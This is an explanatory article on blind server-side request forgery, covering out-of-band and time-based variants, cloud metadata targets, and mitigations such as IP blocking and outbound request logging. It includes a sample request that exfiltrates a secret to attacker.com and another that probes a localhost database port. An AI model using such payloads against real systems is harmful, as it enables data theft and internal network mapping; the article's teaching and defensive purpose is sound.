Understanding Blind SSRF

Blind Server-Side Request Forgery (SSRF) is a subtle cybersecurity vulnerability where attackers manipulate a server to make unauthorized requests to internal or external systems. Unlike traditional SSRF, blind SSRF does not provide direct feedback, making it harder to detect and exploit. Attackers rely on indirect methods such as timing delays or out-of-band channels to confirm the success of their requests.

Key Points

• Blind SSRF is a type of SSRF attack that provides no direct feedback to the attacker.
• Attackers use indirect methods like timing delays or out-of-band channels to confirm success.
• Common attack vectors include file-based SSRF, network-based SSRF, and cloud metadata attacks.

How Blind SSRF Works

Blind SSRF exploits occur when an application processes user-supplied input to make server-side requests but does not return the response to the attacker. This creates a "blind" scenario where the attacker must infer success through alternative means.

Key Challenge: Without direct feedback, attackers must use creative techniques to validate whether their requests reached the intended target.

Common Attack Vectors

• File-based SSRF: Forcing the server to fetch internal files (e.g., /etc/passwd).
• Network-based SSRF: Probing internal services (e.g., http://localhost:22 for SSH).
• Cloud Metadata Attacks: Targeting cloud provider metadata endpoints (e.g., http://169.254.169.254 in AWS).

Types of Blind SSRF

Out-Of-Band (OOB) SSRF

OOB SSRF uses a separate communication channel to exfiltrate data or confirm request success. Attackers typically:

1. Trigger a request to an attacker-controlled server (e.g., via DNS or HTTP).
2. Monitor the external server for incoming connections or data.

Example:

GET /proxy?url=http://attacker.com/exfil?data=secret_key HTTP/1.1
Host: vulnerable-app.com

Use Case: Ideal for extracting sensitive data (e.g., API keys, internal IPs) when direct responses are blocked.

Time-Based (Semi-Blind) SSRF

Time-based SSRF relies on observable delays to infer request success. Attackers:

1. Send requests to slow or non-responsive endpoints (e.g., http://internal-service:9999).
2. Measure response times to determine if the request was processed.

Example:

GET /proxy?url=http://localhost:27017 HTTP/1.1
Host: vulnerable-app.com

• Fast Response (e.g., 50ms): Port likely closed/filtered.
• Slow Response (e.g., 2000ms): Port likely open (MongoDB default port).

Technique	Feedback Mechanism	Detection Difficulty	Use Case
Out-Of-Band SSRF	External server logs	Medium	Data exfiltration
Time-Based SSRF	Response time delays	High	Port scanning, service probing

Real-World Impact

Blind SSRF can lead to:

• Data Breaches: Exfiltrating credentials or PII via OOB channels.
• Internal Network Mapping: Discovering hidden services (e.g., admin panels, databases).
• Cloud Compromise: Accessing cloud metadata (e.g., AWS IAM tokens) to escalate privileges.

Notable Incident: In 2021, a blind SSRF vulnerability in GitHub’s runner allowed attackers to access internal networks.

Mitigation Strategies

Protect your applications with these defenses:

Input Validation

• Whitelist allowed domains/IPs: Restrict requests to known safe destinations.
• Block private/reserved IPs: Prevent access to localhost, 169.254.169.254, etc.

Network-Level Controls

• Isolate backend services: Use firewalls to segment internal systems.
• Disable unnecessary protocols: Block file://, gopher://, and dict:// schemes.

Monitoring and Detection

• Log outbound requests: Alert on unusual destinations (e.g., attacker-controlled domains).
• Rate-limit requests: Throttle repeated attempts to slow down time-based attacks.

Learn More

Expand your knowledge with these resources:

Hands-On Labs

• PortSwigger SSRF Labs: Interactive exercises for OOB and time-based SSRF.
• Hack The Box: Real-world SSRF challenges.

Technical References

• OWASP SSRF Guide: Cheat Sheet
• RFC 3986: URI Syntax (for understanding SSRF vectors).

Tools

• Burp Collaborator: Detect OOB interactions in SSRF testing.
• SSRFmap: Automate SSRF exploitation and detection.